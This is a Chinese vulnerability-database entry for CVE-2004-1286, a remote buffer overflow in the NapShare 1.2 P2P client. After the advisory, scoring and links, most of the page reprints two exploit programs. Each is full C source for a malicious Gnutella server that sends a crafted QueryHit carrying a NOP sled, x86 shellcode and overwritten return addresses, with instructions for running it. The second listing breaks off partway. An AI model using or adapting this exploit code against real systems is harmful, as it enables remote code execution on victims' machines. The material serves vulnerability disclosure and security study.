CVE-2004-1286
CVSS10.0
发布时间 :2005-01-10 00:00:00
修订时间 :2008-09-10 15:29:44
NMCOE    

[原文]Buffer overflow in the auto_filter_extern function in auto.c for NapShare 1.2, with the extern filter enabled, allows remote attackers to execute arbitrary code via a crafted gnutella response.


[CNNVD]NapShare auto.c 缓冲区溢出漏洞(CNNVD-200501-068)

        NapShare是一个P2P下载客户端程序。
        NapShare 1.2的auto.c中auto_filter_extern函数存在缓冲区溢出漏洞。
        在启用外部筛选器的情况下,远程攻击者通可利用特别构造的gnutella响应执行任意代码。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1286
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1286
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200501-068
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/18630
(UNKNOWN)  XF  napshare-autofilterextern-bo(18630)
http://tigger.uic.edu/~jlongs2/holes/napshare.txt
(VENDOR_ADVISORY)  MISC  http://tigger.uic.edu/~jlongs2/holes/napshare.txt

- 漏洞信息

NapShare auto.c 缓冲区溢出漏洞
危急 缓冲区溢出
2005-01-10 00:00:00 2005-10-20 00:00:00
远程  
        NapShare是一个P2P下载客户端程序。
        NapShare 1.2的auto.c中auto_filter_extern函数存在缓冲区溢出漏洞。
        在启用外部筛选器的情况下,远程攻击者通可利用特别构造的gnutella响应执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://sourceforge.net/projects/napshare/files/

- 漏洞信息 (24856)

NapShare 1.2 Remote Buffer Overflow Vulnerability (1) (EDBID:24856)
linux remote
2004-12-06 Verified
0 Bartlomiej Sieka
N/A [点击下载]
source: http://www.securityfocus.com/bid/11967/info

It is reported that NapShare is susceptible to a remote buffer overflow vulnerability. This is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed-size memory buffer.

Attackers running malicious Gnutella servers are reportedly able to exploit this vulnerability to execute arbitrary code in the context of the vulnerable application.

Version 1.2 of NapShare is reported susceptible. Other versions may also be affected.

/*
 * napshare_srv.c
 * 2004.12.06
 * Bartlomiej Sieka
 *
 * This program generates the injection vector used to exploit a buffer
 * overflow in napshare version 1.2 (file auto.c, function
 * auto_filter_extern.c, buffer is "filename"). Program uses a slightly
 * modified payload provided by Professor Daniel J. Bernstein in the
 * Fall 2004 MCS 494 course at UIC.
 *
 * This program should be used with the tcpserver(1) to allow a running
 * napshare client to make connections to it.
 * The recipe:
 * Issue the following commands:
 * gcc -o napshare_srv napshare_srv
 * tcpserver 0 50000 ./napshare_srv &
 * napshare
 *
 * In the napshare program do the following:
 * - Connect to peer 127.0.0.1:50000 (type the ip:port on the "gnutellaNet"
 *   screen in the text input field to the right of the "Add" button
 *   and then click "Add").
 * - Add new "extern" filter. (On the "Automation" screen input "test",
 *   "test" and "extern" into "Search", "Strings" and "Filters" input
 *   fields, respectively. Then click "Add to list".)
 * - Start the automation function. (On the "Automation" screen click
 *   on the "Start Automation" button).
 * After about 20 seconds a file called "EXPLOIT" will be created in
 * the current working directory an the napshare program will exit.
 */

#include<stdio.h>
#include<fcntl.h>
#include<arpa/inet.h>
#include<assert.h>
#include <sys/time.h>
#include <signal.h>

#define NODEBUG


/*
 * Messages used to establish a connection
 */
const char * Connect = "GNUTELLA CONNECT/";
const char * OK = 
"GNUTELLA/0.6 200 OK\r\n\
Pong-Caching: 0.1\r\n\
Accept-Encoding: deflate\r\n\
X-Locale-Pref: fr\r\n\
X-Guess: 0.1\r\n\
Content-Encoding: deflate\r\n\
X-Max-TTL: 3\r\n\
Vendor-Message: 0.1\r\n\
X-Ultrapeer-Query-Routing: 0.1\r\n\
X-Query-Routing: 0.1\r\n\
Listen-IP: 81.56.202.32:6346\r\n\
X-Ext-Probes: 0.1\r\n\
Remote-IP:.69.211.109.203\r\n\
GGEP: 0.5\r\n\
X-Dynamic-Querying: 0.1\r\n\
X-Degree: 32\r\n\
User-Agent: LameWare/9.9.7.(0xdeadbeef)\r\n\
X-Ultrapeer: True\r\n\
X-Try-Ultrapeers: 69.28.37.190.69:6348\r\n\
\r\n";

const char * End = "\r\n\r\n"; /* this is a stupid idea */


/*
 * A simple payload creating a file called "EXPLOIT",
 * based on the code provided by Daniel J. Bernstein.
 */
char code[] = {
  0x59                         /*   cx = *sp++                      */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0x88, 0x41, 0x07             /*   NULL-terminate the EXPLOIT str  */
, 0x40                         /*   ++ax                            */
, 0x40                         /*   ++ax                            */
, 0x40                         /*   ++ax                            */
, 0xc1, 0xe0, 0x07             /*   ax <<= 7                        */
, 0x50                         /*   *--sp = ax                 0600 */
, 0xb8, 0x12, 0x34, 0x56, 0x02 /*   ax = 0x02563412                 */
, 0xc1, 0xe8, 0x18             /*   ax >>= 24                       */
, 0xc1, 0xe0, 0x08             /*   ax <<= 8                        */
, 0x50                         /*   *--sp = ax          512:O_CREAT */
, 0x51                         /*   *--sp = cx          "EXPLOITED" */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0xb0, 0x05                   /*   ax = (ax & ~255) + 5            */
, 0x50                         /*   *--sp = ax               5:open */
, 0xcd, 0x80                   /*   syscall                         */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0x50                         /*   *--sp = ax                    0 */
, 0x40                         /*   ++ax                            */
, 0x50                         /*   *--sp = ax               1:exit */
, 0xcd, 0x80                   /*   syscall                         */
} ;


/* all output intened for the user should go here */
FILE * out_stream;


#define PING_DESCR 0x00
#define PONG_DESCR 0x01
#define PUSH_DESCR 0x40
#define QUERY_DESCR 0x80
#define QUERYHIT_DESCR 0x81

#define MAX_IV 16000
#define MAX_PAYLOAD_SIZE 16000
#define MAX_PAYLOAD_LEN 16000
#define HDR_SIZE 23
#define MSG_ID_SIZE 16

char Hdr[HDR_SIZE];
char Payload[MAX_PAYLOAD_SIZE];
char * MsgIdBogus = "%%%%____\000\000\000\000\n\n\n\n";

char MsgId[MSG_ID_SIZE];

char Ttl;
char Hops;

char c;

uint32_t Len;


int
dump_fd(int fd, unsigned count);

int
parse_query_payload(int fd, unsigned payload_len, char * criteria);

void send_ping(int fd);
void send_pong(int fd);
void send_queryhit(int fd, char *criteria, char *descr_id);

void
set_descr_hdr(char * Hdr,
	      char * msg_id,
	      char descr,
	      char ttl, 
	      char hops,
	      uint32_t len);

void
random_array(unsigned int n, char * array);

int
write_buf(int fd, char *buf, unsigned size);

/* XXX should this really be here...? */
uint16_t port;
uint32_t ip;
int net_out_fd;


/* send the Ping message periodically */
void timer_send_ping(int signal){
  fprintf(out_stream, "Sending Ping message\n");
  send_ping(net_out_fd);
  fflush(out_stream);
}


/***************************************************************************
 * main
 */
int
main(int argc, char * argv[]){
unsigned int seed;
  int net_in_fd = 0;
  char *msg;
  char criteria[4096];
  char c;  
  char buf[1024];
  int num_read;
  
  int net_out_fd = 1;
  struct itimerval itv;


  /* set up the local output stream */
  if((out_stream = fopen("/dev/tty", "w")) == NULL){
    perror("Can't open /dev/tty");
    /* let's use stderr instead */
    out_stream = stderr;
  }
  
  if(signal(SIGALRM, timer_send_ping) == SIG_ERR){
    fprintf(out_stream, "Couldn't set the signal handler");
    exit(1);
  }
  
  itv.it_interval.tv_sec = 5;
  itv.it_interval.tv_usec = 0;  
  itv.it_value.tv_sec = 5;
  itv.it_value.tv_usec = 0;
  
  /* that stupid client closes the connection after 15 secs */
  if(setitimer(ITIMER_REAL, &itv, 0x00) == -1){
    fprintf(out_stream, "Couldn't set the signal handler");
    exit(1);
  }

  // make a connection with the client  

  // read the begining     
  num_read = read(net_in_fd, buf, sizeof(Connect));
  if(num_read != sizeof(Connect)){
    fprintf(out_stream, "Can't read \"Connect\" from the net\n");
    exit(1);
  }
  
  // maybe later compare what's read with "Connect":    if(strncpy

  // now read read everything until the final "\n\n"
  num_read = read(net_in_fd, buf, strlen(End));
  if(num_read != strlen(End)){
    fprintf(out_stream, "Connection closed before double \\n\n");
    exit(1);       
  }
  
  while(strncmp(buf, End, strlen(End)) != 0){
    fprintf(out_stream, "%s\n", buf);

    // shift the buffer by one
    int i;
    for(i = 0; i < strlen(End) - 1; i++){
      buf[i] = buf[i+1];
    }
    num_read = read(net_in_fd, &buf[strlen(End) - 1], 1);
    if(num_read != 1){
      fprintf(out_stream, "Connection closed before double \\n\n");
      exit(1);
    }
  }


  // let's connect
  write(net_out_fd, OK, strlen(OK));
  fprintf(out_stream, "Connected (hopefully)\n");

  /* Now the peer will send the OK message, read it */  
  dump_fd(net_in_fd, strlen("GNUTELLA/0.6 200 OK\r\n\r\n"));

  unsigned char payload_descr;
  unsigned payload_len;
  char payload[MAX_PAYLOAD_LEN];
  char descr_id[16];

  int queryhit_sent = 0;

  while(1){
    if(!read_header(net_in_fd,
		    &payload_descr,
		    &payload_len,
		    descr_id)) break;
    assert(payload_len <= MAX_PAYLOAD_LEN);
    switch(payload_descr){
    case PING_DESCR:
      /* the payload lenght should be zero */
      fprintf(out_stream, "Received a Ping message\n");
      if(payload_len != 0){
	fprintf(out_stream, "Payload for Ping > 0 !\n");
      }
      fprintf(out_stream, "Sending a Pong message\n");
      send_pong(net_out_fd);      
      break;
    case PONG_DESCR:
    /* show the payload */
      fprintf(out_stream, "Received a Pong message\n");
      if(!dump_fd(net_in_fd, payload_len)) break;
      break;      
    case QUERY_DESCR:
      /* parse the payload */
      fprintf(out_stream, "Received a Query message\n");
      if(!parse_query_payload(net_in_fd, payload_len, criteria)) break;
      if(!queryhit_sent){
	queryhit_sent = 1;
	fprintf(out_stream, "Sending a QueryHit message\n");
	send_queryhit(net_out_fd, criteria, descr_id);
	fprintf(out_stream, "QueryHit sent\n");
      } else {
	fprintf(out_stream, "NOT sending a QueryHit message\n");		
      }
      break;
    case PUSH_DESCR:
      /* show the payload */
      fprintf(out_stream, "Received a Push message\n");
      if(!dump_fd(net_in_fd, payload_len)) break;
      break;      
    }
  }
}/* main() ****************************************************************/


/*
 *
 * function definitions
 *
 */


/***************************************************************************
 * Write a Ping message into fd
 */
void
send_ping(int fd){
  char * msg_id;
  /* get a random message id */
  random_array(MSG_ID_SIZE, MsgId);
  msg_id = MsgId;
  Len = 0;
  set_descr_hdr(Hdr, msg_id, PING_DESCR, rand() % 256, rand() % 256, Len);
  write_buf(fd, Hdr, HDR_SIZE);
}/* send_ping() ***********************************************************/


/***************************************************************************
 * Write a Pong message into fd
 */
void
send_pong(int fd){
  char * msg_id;
  unsigned payload_len;

  ip = 0x0100007f;
  port = 50000;

  /* get a random message id */
  random_array(MSG_ID_SIZE, MsgId);
  msg_id = MsgId;
  Len = 14;

  set_descr_hdr(Hdr, msg_id, PONG_DESCR, 5, 0, Len);
  if(!write_buf(fd, Hdr, HDR_SIZE)){
    fprintf(out_stream, "send_pong(): couldn't send header\n");
  }

  /*
   * Payload[0]-[1]: port number
   * Payload[2]-[5]: IP (little endian)
   * Payload[6]-[9]: # files shared
   * Payload[10]-[13]: # kilobytes shared
   */

  payload_len = Len;
  random_array(payload_len, Payload);
  memcpy(&Payload[0], &port, 2);
  memcpy(&Payload[2], &ip, 4);
  if(!write_buf(fd, Payload, payload_len)){
    fprintf(out_stream, "send_pong(): couldn't send payload\n");
  }
}/* send_pong() ***********************************************************/


/***************************************************************************
 * Write a QueryHit message into fd
 * criteria: null-terminated search criteria
 * descr_id: descr. of the Query msg (16 bytes)
 */
void
send_queryhit(int fd, char *criteria, char *descr_id){

  unsigned payload_len;
  char number_hits = 1;
  uint16_t speed;
  char servent_id[16];
  char result_set[MAX_IV];
  unsigned result_set_len;
  ip = 0x7f000001;
  port = 60000;

  result_set_len = set_result_set(result_set, criteria);

  assert(result_set_len <= MAX_IV);

  /* size
   * 1 : Payload[0]: number if hits
   * 2 : Payload[1-2]: port
   * 4 : Payload[3-6]: ip
   * 4 : Payload[7-10]: speed kb/s
   * ? : Payload[11-n-1]: result set
   * 16: Payload[n-n+16] servenet it
   */
  payload_len = 1 + 2 + 4 + 4 + result_set_len + 16;

  set_descr_hdr(Hdr, descr_id, QUERYHIT_DESCR, 5, 0, payload_len);
  if(!write_buf(fd, Hdr, HDR_SIZE)){
    fprintf(out_stream, "send_pong(): couldn't send header\n");
  }

  random_array(payload_len, Payload);
  memcpy(&Payload[0], &number_hits, 1);
  memcpy(&Payload[1], &port, 1);
  memcpy(&Payload[3], &ip, 4);
  memcpy(&Payload[7], &speed, 4);
  memcpy(&Payload[11], result_set, result_set_len);
  memcpy(&Payload[11 + result_set_len], servent_id, 16);
  
  if(!write_buf(fd, Payload, payload_len)){
    fprintf(out_stream, "send_pong(): couldn't send payload\n");
  }
}/* send_queryhit() *******************************************************/


/***************************************************************************
 * Copy the parts of the Descriptor Header to the msg buffer
 */
void
set_descr_hdr(char * msg,
	      char *msg_id,
	      char descr,
	      char ttl, 
	      char hops,
	      uint32_t len){

  uint32_t len_net = htonl(len);
  
  memcpy(msg, msg_id, MSG_ID_SIZE);
  memcpy(msg + MSG_ID_SIZE, &descr, 1);
  memcpy(msg + MSG_ID_SIZE + 1, &ttl, 1);
  memcpy(msg + MSG_ID_SIZE + 2, &hops, 1);
  /* some problems with endianess... */
  /*  memcpy(msg + MSG_ID_SIZE + 3, &len_net, sizeof(uint32_t)); */
  memcpy(msg + MSG_ID_SIZE + 3, &len, sizeof(uint32_t)); 
}/* set_descr_header() ****************************************************/


/***************************************************************************
 * Create a random array of n bytes at array (assume memory is allocated)
 */
void
random_array(unsigned int n, char * array){
  int i;
  for(i = 0; i < n; i++){
    *(array + i) = rand() % 256;
  } 
}/* random_array() *********************************************************/


/***************************************************************************
 * write a buffer
 */
int
write_buf(int fd, char *buf, unsigned size){
  int ret;

#ifdef DEBUG
  int i;
  fprintf(out_stream, "write_buf(): writing %d bytes:\n", size);
  for(i = 0; i < size; i++)
    fprintf(out_stream, "%.2hhx ", buf[i]);
  fprintf(out_stream, "\n");
#endif
  
  if((ret = write(fd, buf, size)) == -1){
    perror("write_buf(): write failed");
    return 0;
  } else if(ret < size){
    /* couldn't write the whole thing. hmm... */
    fprintf(out_stream, "Written only %d bytes out of %d\n", ret, size);
    return 0;
  }
  return 1;
}/* write_buf() ***********************************************************/



int
dump_fd(int fd, unsigned count){
  int i;
  char c;
  for(i = 0; i < count; i ++){
    if(read(fd, &c, 1) != 1) {perror("Can't read"); return 0;};
    fprintf(out_stream, "%.3d: 0x%.2hhx %c\n", i+1, c, c);
  }
  return 1;
}




/***************************************************************************
 * Reads a Gnutella hader from the given file descriptor.
 * payload_descr: set to the descritor read
 * payload_len: set to the lenght read
 * returns 1 if there were enough bytes read, 0 otherwise
 */
int
read_header(int net_in_fd,
	    char * payload_descr,
	    unsigned int * payload_len,
	    char * descr_id){
  int ret;
  char header[23];
  ret = read(net_in_fd, header, 23);
  if(ret == -1){
    fprintf(out_stream, "read_header(): read() failed\n");
  } 
  if(ret < 23){
    fprintf(out_stream, "can't read the full header, read %d bytes\n", ret);
    return 0;
  }    
  /* header[0]-[15] : message id, or descriptor id */
  /* header[16]     : payload descriptor */
  /* header[17]     : ttl */
  /* header[18]     : Hops */
  /* header[19]-[22]: payload lenght */
  memcpy(descr_id, header, 16);

  *payload_descr = header[16];

  /* Gnutella 0.4 specs says that stuff is little-endian, but it lies */
  /*  *payload_len = ntohl(*(uint32_t *)&header[19]); */
  *payload_len = *(uint32_t*)&header[19];
  fprintf(out_stream, "Payload descr : 0x%.2hhx\n", header[16]);
  fprintf(out_stream, "TTL           : 0x%.2hhx\n", header[17]);
  fprintf(out_stream, "Hops          : 0x%.2hhx\n", header[18]);
  fprintf(out_stream, "Payload len(b): 0x%.2hhx", header[19]);
  fprintf(out_stream, "%.2hhx", header[20]);
  fprintf(out_stream, "%.2hhx", header[21]);
  fprintf(out_stream, "%.2hhx\n", header[22]);
  fprintf(out_stream, "Payload len   : %d\n", *payload_len);
  return 1;
}/* read_header() *********************************************************/


/***************************************************************************
 * payload[0-1]: min speed in kb/sec
 * payload[2-payload_len-1]: search criteria, null terminated
 *
 */
int
parse_query_payload(int fd, unsigned payload_len, char * criteria){
  int i;
  char payload[MAX_IV];
  if(read(fd, payload, payload_len) != payload_len) return 0;

  fprintf(out_stream, "speed %d\n", payload[0] + 0xff * payload[1]);
  if(payload[payload_len - 1] != 0x00){
    fprintf(out_stream, "parse_query_payload(): serach criteria not null\
 termintaed (%.2hhx), fixing it", payload[payload_len - 1]);
    payload[payload_len - 1] = 0x00;
  }
  assert(payload_len > 2);
  strcpy(criteria, &payload[2]);
  fprintf(out_stream, "search criteria: %s\n", criteria);
  return 1;
}/* parse_query_payload() *************************************************/


/***************************************************************************
 * builds the result_set for the QueryHit message. The file name
 * is where the IV should go.
 * result_set[0-3] : file index
 * result_set[4-7] : file size in bytes
 * resutl_set[8-?] : 0x0000 terminated file name
 * result_set: store the result set there (mem already allocated)
 * criteria: serach criteria from the Query msg - in case the peer
 * would some checks to see if the file name in the QueryHit corelates
 * with the criteria sent. napshare doesn't do anything like this, so
 * this parameter is not used.
 * returns: the size of the result set
 */
int
set_result_set(char *result_set, char *criteria){
  char iv[MAX_IV];
  char *index = "iiii";
  char *size = "ssss";
  char doublenull[] = {0x00, 0x00};
  char *s;
  char *end;
  char *tmp;
  int i;

  s = iv;
  /* we need 10736 - 4 bytes to overflow the ip */
  end = s + 10736 - 4;

  /* let's build the injection vector */
  /* if will be stored in the filename array, &filename = 0xbfbfbc50 */
  
  /* nop sled */
  for(i = 0; i < 128; i ++){
    *(s++) = 0x90;
  }

  /* payload */
  *(s++) = 0xeb;
  *(s++) = sizeof(code);
  for (i = 0; i < sizeof code; i++)
    *(s++) = code[i];
  *(s++) = 0xe8;
  *(s++) = 251 - sizeof code;
  *(s++) = 0xff;
  *(s++) = 0xff;
  *(s++) = 0xff;
  tmp = "EXPLOIT";
  while(*(tmp)) *(s++) = *(tmp++);

  /* XXX: these address calculations are incorrect, but it works anyway */
  /* we should be now at 0xbfbfbc80 + s-iv */
  /* let's get to a 0xff boundary */
  while((s - iv + 0xbfbfbc80) < 0xbfbfbf00 ) *(s++) = (s-end) % 24 + 65;
  
  /*
   * simutale the rc and r structures on the stack - to prevent
   * segmentation faults in g_snprintf() and strcpy()
   */  
  /* 0xbfbfbf00 - address of the rc stucture */
  for(i = 0; i < 63; i++){
    *(s++) = i ? i*4 : 0xff;
    *(s++) = 0xbf;
    *(s++) = 0xbf;
    *(s++) = 0xbf;    
  }
    
  while(s != end) *(s++) = (s-end) % 24 + 65;
  
  /* iv starts at 0xbfbfbc50 */
  /* smasher = 0xbfbfbcc0 */
  *(s++) = 0xc0;
  *(s++) = 0xbc;
  *(s++) = 0xbf;
  *(s++) = 0xbf;

  /*
   * Need to preserve following function call arguments to survive until
   * return from the function: rc, r, string. 
   */

  /* rc
   * rc is allocated on the heap and its address varies from execution
   * to execution. Let's just point it to an address on the stack that
   * we control.
   */
  *(s++) = 0x30;
  *(s++) = 0xbf;
  *(s++) = 0xbf;
  *(s++) = 0xbf;

  /* r
   * r's address doesn't change and it's 0x8102a00 - can't send it though,
   * because of the 0x00 byte. Let us use a stack location then. (Note
   * that we could probably use the strcpy() to write that 0x00 byte).
   */
  *(s++) = 0x30;
  *(s++) = 0xbf;
  *(s++) = 0xbf;
  *(s++) = 0xbf;
  
  /* string
   * string's address doesn't change and it's 0x08097a20 - let's just
   * preserve it.
   */  
  *(s++) = 0x20;
  *(s++) = 0x7a;
  *(s++) = 0x09;
  *(s++) = 0x08;
  
  /* null-terminate for the strlen() below  to work */
  *s = 0x00;

  /* we have all the parts, build the result set */
  memcpy(&result_set[0], index, 4);
  memcpy(&result_set[4], size, 4);
  memcpy(&result_set[8], iv, strlen(iv));
  memcpy(&result_set[8 + strlen(iv)], doublenull, 2);

  return 4 + 4 + strlen(iv) + 2;
}/* set_result_set() ******************************************************/		

- 漏洞信息 (24857)

NapShare 1.2 Remote Buffer Overflow Vulnerability (2) (EDBID:24857)
linux remote
2004-12-10 Verified
0 Bartlomiej Sieka
N/A [点击下载]
source: http://www.securityfocus.com/bid/11967/info
 
It is reported that NapShare is susceptible to a remote buffer overflow vulnerability. This is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed-size memory buffer.
 
Attackers running malicious Gnutella servers are reportedly able to exploit this vulnerability to execute arbitrary code in the context of the vulnerable application.
 
Version 1.2 of NapShare is reported susceptible. Other versions may also be affected.

/*
 * napshare_srv_2.c
 * 2004.12.10
 * Bartlomiej Sieka
 *
 * This program generates the injection vector used to exploit a buffer
 * overflow in napshare version 1.2 (file auto.c, function
 * auto_filter_extern.c, buffer is "filename"). The payload contains
 * simply sh(1) commands that will be passed to the system(3) call.
 *
 * This program should be used with the tcpserver(1) to allow a running
 * napshare client to make connections to it.
 * The recipe:
 * Issue the following commands:
 * gcc -o napshare_srv_2 napshare_srv_2
 * tcpserver 0 50000 ./napshare_srv_2 &
 * napshare
 *
 * In the napshare program do the following:
 * - Connect to peer 127.0.0.1:50000 (type the ip:port on the "gnutellaNet"
 *   screen in the text input field to the right of the "Add" button
 *   and then click "Add").
 * - Add new "extern" filter. (On the "Automation" screen input "test",
 *   "test" and "extern" into "Search", "Strings" and "Filters" input
 *   fields, respectively. Then click "Add to list".)
 * - Start the automation function. (On the "Automation" screen click
 *   on the "Start Automation" button).
 * After about 20 seconds a file called "TIOLPXE" will be created in
 * the current working directory.
 */

#include<stdio.h>
#include<fcntl.h>
#include<arpa/inet.h>
#include<assert.h>
#include <sys/time.h>
#include <signal.h>

#define NODEBUG

#define PING_DESCR 0x00
#define PONG_DESCR 0x01
#define PUSH_DESCR 0x40
#define QUERY_DESCR 0x80
#define QUERYHIT_DESCR 0x81

#define MAX_IV 16000
#define MAX_PAYLOAD_SIZE 16000
#define MAX_PAYLOAD_LEN 16000
#define HDR_SIZE 23
#define MSG_ID_SIZE 16

/*
 * Messages used to establish a connection
 */
const char * Connect = "GNUTELLA CONNECT/";
const char * OK = 
"GNUTELLA/0.6 200 OK\r\n\
Pong-Caching: 0.1\r\n\
Accept-Encoding: deflate\r\n\
X-Locale-Pref: fr\r\n\
X-Guess: 0.1\r\n\
Content-Encoding: deflate\r\n\
X-Max-TTL: 3\r\n\
Vendor-Message: 0.1\r\n\
X-Ultrapeer-Query-Routing: 0.1\r\n\
X-Query-Routing: 0.1\r\n\
Listen-IP: 81.56.202.32:6346\r\n\
X-Ext-Probes: 0.1\r\n\
Remote-IP:.69.211.109.203\r\n\
GGEP: 0.5\r\n\
X-Dynamic-Querying: 0.1\r\n\
X-Degree: 32\r\n\
User-Agent: LameWare/9.9.7.(0xdeadbeef)\r\n\
X-Ultrapeer: True\r\n\
X-Try-Ultrapeers: 69.28.37.190.69:6348\r\n\
\r\n";

const char * End = "\r\n\r\n"; /* this is a stupid idea */


/* all output intened for the user should go here */
FILE * out_stream;

char Hdr[HDR_SIZE];
char Payload[MAX_PAYLOAD_SIZE];
char MsgId[MSG_ID_SIZE];
char c;
uint32_t Len;


int
dump_fd(int fd, unsigned count);

int
parse_query_payload(int fd, unsigned payload_len, char * criteria);

void send_ping(int fd);
void send_pong(int fd);
void send_queryhit(int fd, char *criteria, char *descr_id);

void
set_descr_hdr(char * Hdr,
	      char * msg_id,
	      char descr,
	      char ttl, 
	      char hops,
	      uint32_t len);

void
random_array(unsigned int n, char * array);

int
write_buf(int fd, char *buf, unsigned size);

/* XXX should this really be here...? */
uint16_t port;
uint32_t ip;
int net_out_fd;


/* send the Ping message periodically */
void timer_send_ping(int signal){
  fprintf(out_stream, "Sending Ping message\n");
  send_ping(net_out_fd);
  fflush(out_stream);
}


/***************************************************************************
 * main
 */
int
main(int argc, char * argv[]){
unsigned int seed;
  int net_in_fd = 0;
  char *msg;
  char criteria[4096];
  char c;  
  char buf[1024];
  int num_read;
  unsigned char payload_descr;
  unsigned payload_len;
  char payload[MAX_PAYLOAD_LEN];
  char descr_id[16];
  int queryhit_sent = 0;
  int i;
  
  int net_out_fd = 1;
  struct itimerval itv;


  /* set up the local output stream */
  if((out_stream = fopen("/dev/tty", "w")) == NULL){
    perror("Can't open /dev/tty");
    /* let's use stderr instead */
    out_stream = stderr;
  }
  
  if(signal(SIGALRM, timer_send_ping) == SIG_ERR){
    fprintf(out_stream, "Couldn't set the signal handler");
    exit(1);
  }
  
  itv.it_interval.tv_sec = 5;
  itv.it_interval.tv_usec = 0;  
  itv.it_value.tv_sec = 5;
  itv.it_value.tv_usec = 0;
  
  /* that stupid client closes the connection after 15 secs */
  if(setitimer(ITIMER_REAL, &itv, 0x00) == -1){
    fprintf(out_stream, "Couldn't set the signal handler");
    exit(1);
  }

  // make a connection with the client  

  // read the begining     
  num_read = read(net_in_fd, buf, sizeof(Connect));
  if(num_read != sizeof(Connect)){
    fprintf(out_stream, "Can't read \"Connect\" from the net\n");
    exit(1);
  }
  
  // maybe later compare what's read with "Connect":    if(strncpy

  // now read read everything until the final "\n\n"
  num_read = read(net_in_fd, buf, strlen(End));
  if(num_read != strlen(End)){
    fprintf(out_stream, "Connection closed before double \\n\n");
    exit(1);       
  }
  
  while(strncmp(buf, End, strlen(End)) != 0){
    fprintf(out_stream, "%s\n", buf);

    // shift the buffer by one

    for(i = 0; i < strlen(End) - 1; i++){
      buf[i] = buf[i+1];
    }
    num_read = read(net_in_fd, &buf[strlen(End) - 1], 1);
    if(num_read != 1){
      fprintf(out_stream, "Connection closed before double \\n\n");
      exit(1);
    }
  }


  // let's connect
  write(net_out_fd, OK, strlen(OK));
  fprintf(out_stream, "Connected (hopefully)\n");

  /* Now the peer will send the OK message, read it */  
  dump_fd(net_in_fd, strlen("GNUTELLA/0.6 200 OK\r\n\r\n"));


  while(1){
    if(!read_header(net_in_fd,
		    &payload_descr,
		    &payload_len,
		    descr_id)) break;
    assert(payload_len <= MAX_PAYLOAD_LEN);
    switch(payload_descr){
    case PING_DESCR:
      /* the payload lenght should be zero */
      fprintf(out_stream, "Received a Ping message\n");
      if(payload_len != 0){
	fprintf(out_stream, "Payload for Ping > 0 !\n");
      }
      fprintf(out_stream, "Sending a Pong message\n");
      send_pong(net_out_fd);      
      break;
    case PONG_DESCR:
    /* show the payload */
      fprintf(out_stream, "Received a Pong message\n");
      if(!dump_fd(net_in_fd, payload_len)) break;
      break;      
    case QUERY_DESCR:
      /* parse the payload */
      fprintf(out_stream, "Received a Query message\n");
      if(!parse_query_payload(net_in_fd, payload_len, criteria)) break;
      if(!queryhit_sent){
	queryhit_sent = 1;
	fprintf(out_stream, "Sending a QueryHit message\n");
	send_queryhit(net_out_fd, criteria, descr_id);
	fprintf(out_stream, "QueryHit sent\n");
      } else {
	fprintf(out_stream, "NOT sending a QueryHit message\n");		
      }
      break;
    case PUSH_DESCR:
      /* show the payload */
      fprintf(out_stream, "Received a Push message\n");
      if(!dump_fd(net_in_fd, payload_len)) break;
      break;      
    }
  }
}/* main() ****************************************************************/


/*
 *
 * function definitions
 *
 */


/***************************************************************************
 * Write a Ping message into fd
 */
void
send_ping(int fd){
  char * msg_id;
  /* get a random message id */
  random_array(MSG_ID_SIZE, MsgId);
  msg_id = MsgId;
  Len = 0;
  set_descr_hdr(Hdr, msg_id, PING_DESCR, rand() % 256, rand() % 256, Len);
  write_buf(fd, Hdr, HDR_SIZE);
}/* send_ping() ***********************************************************/


/***************************************************************************
 * Write a Pong message into fd
 */
void
send_pong(int fd){
  char * msg_id;
  unsigned payload_len;

  ip = 0x0100007f;
  port = 50000;

  /* get a random message id */
  random_array(MSG_ID_SIZE, MsgId);
  msg_id = MsgId;
  Len = 14;

  set_descr_hdr(Hdr, msg_id, PONG_DESCR, 5, 0, Len);
  if(!write_buf(fd, Hdr, HDR_SIZE)){
    fprintf(out_stream, "send_pong(): couldn't send header\n");
  }

  /*
   * Payload[0]-[1]: port number
   * Payload[2]-[5]: IP (little endian)
   * Payload[6]-[9]: # files shared
   * Payload[10]-[13]: # kilobytes shared
   */

  payload_len = Len;
  random_array(payload_len, Payload);
  memcpy(&Payload[0], &port, 2);
  memcpy(&Payload[2], &ip, 4);
  if(!write_buf(fd, Payload, payload_len)){
    fprintf(out_stream, "send_pong(): couldn't send payload\n");
  }
}/* send_pong() ***********************************************************/


/***************************************************************************
 * Write a QueryHit message into fd
 * criteria: null-terminated search criteria
 * descr_id: descr. of the Query msg (16 bytes)
 */
void
send_queryhit(int fd, char *criteria, char *descr_id){

  unsigned payload_len;
  char number_hits = 1;
  uint16_t speed;
  char servent_id[16];
  char result_set[MAX_IV];
  unsigned result_set_len;
  ip = 0x7f000001;
  port = 60000;

  result_set_len = set_result_set(result_set, criteria);

  assert(result_set_len <= MAX_IV);

  /* size
   * 1 : Payload[0]: number if hits
   * 2 : Payload[1-2]: port
   * 4 : Payload[3-6]: ip
   * 4 : Payload[7-10]: speed kb/s
   * ? : Payload[11-n-1]: result set
   * 16: Payload[n-n+16] servenet it
   */
  payload_len = 1 + 2 + 4 + 4 + result_set_len + 16;

  set_descr_hdr(Hdr, descr_id, QUERYHIT_DESCR, 5, 0, payload_len);
  if(!write_buf(fd, Hdr, HDR_SIZE)){
    fprintf(out_stream, "send_pong(): couldn't send header\n");
